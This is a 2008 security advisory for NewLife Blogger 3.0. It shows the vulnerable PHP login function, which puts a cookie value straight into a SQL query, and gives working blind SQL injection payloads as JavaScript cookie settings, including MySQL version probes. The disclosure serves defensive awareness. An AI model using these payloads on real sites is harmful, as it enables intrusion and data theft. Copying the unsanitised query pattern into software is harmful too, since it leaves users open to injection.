Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:20700
HistoryOct 14, 2008 - 12:00 a.m.

NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability

2008-10-1400:00:00
vulners.com
18

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection
Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: NewLife Blogger
$ Version: <= 3.0
$ File affected: system/nlb_user.class.php
$ Download: http://sourceforge.net/projects/nlb/

Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

Cookie format is:
nlb3=7::96e79218965eb72c92a549dd5a330112
nlb3=iduser::md5 pass

–Bug –

  1. function checkLogin( ) {
  2.        // loing check
    
  3.        if&#40; isset&#40; $_COOKIE[&#39;nlb3&#39;] &#41; &#41; {
    
  4.                $data = explode&#40; &#39;::&#39;, $_COOKIE[&#39;nlb3&#39;] &#41;;
    
  5.                $id = $data[0];
    
  6.                $pass = $data[1];
    
  7.                $fromdb = $this-&gt;sql-&gt;getArray&#40;&#39;SELECT password FROM &#39; .
    

db_users . ' WHERE user_id = ' . $id . ' LIMIT 1;');
150. if( $pass === $fromdb['password'] ) {
151. $this->setid( $id );
152. $this->isLogedIn = true;
153. } else {
154. $this->isLogedIn = false;
155. }
156. }
157. // we also check for banned users
158. $this->checkBanned();
159. }

– Exploit –

True/false method to blind mysql injection. Examples:

javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112"
Response: You appears as logged in

javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112"
Response: You appears as not logged in

javascript:document.cookie = "nlb3=7 and (select
substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112
Response: You appears as logged in if MySQL version is 4

javascript:document.cookie = "nlb3=7 and (select
substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112
Response: You appears as logged in if MySQL version is 5